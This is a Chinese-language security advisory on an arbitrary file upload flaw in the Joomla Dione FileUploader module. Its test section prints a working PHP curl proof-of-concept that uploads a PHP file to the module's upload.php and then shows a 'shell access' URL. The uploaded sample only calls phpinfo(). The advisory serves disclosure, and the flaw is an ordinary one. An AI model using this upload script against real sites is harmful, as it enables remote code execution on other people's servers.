Joomla! Dione FileUploader模块任意文件上传漏洞

受影响系统:

Joomla! Maian Media 1.x

描述:


Joomla!是一款开放源码的内容管理系统(CMS)。

Joomla! 1.0.1之前版本的Dione FileUploader模块在实现上存在安全漏洞,脚本modules/mod_dionefileuploader/upload.php允许上传任意扩展名的文件到 webroot 中的文件夹,可造成执行恶意PHP脚本代码。

<*来源:Sammy Forgit

链接:http://www.opensyscom.fr/Actualites/joomla-modules-dione-fileuploader-arbitrary-file-upload-vulnerability.html
http://secunia.com/advisories/49614/
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Sammy Forgit ()提供了如下测试方法:

PostShell.php
<?php

$uploadfile=”lo.php”;

$ch = curl_init(“http://www.exemple.com/modules/mod_dionefileuploader/upload.php?module_dir=./&;module_max=2097152&file_type=application/octet-stream”);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(‘Filedata’=>”@$uploadfile”));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print “$postResult”;

?>

Shell Access : http://www.exemple.com/modules/mod_dionefileuploader/lo.php

lo.php
<?php
phpinfo();
?>

建议:


厂商补丁:

Joomla!
——-
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.joomla.org/

评论关闭。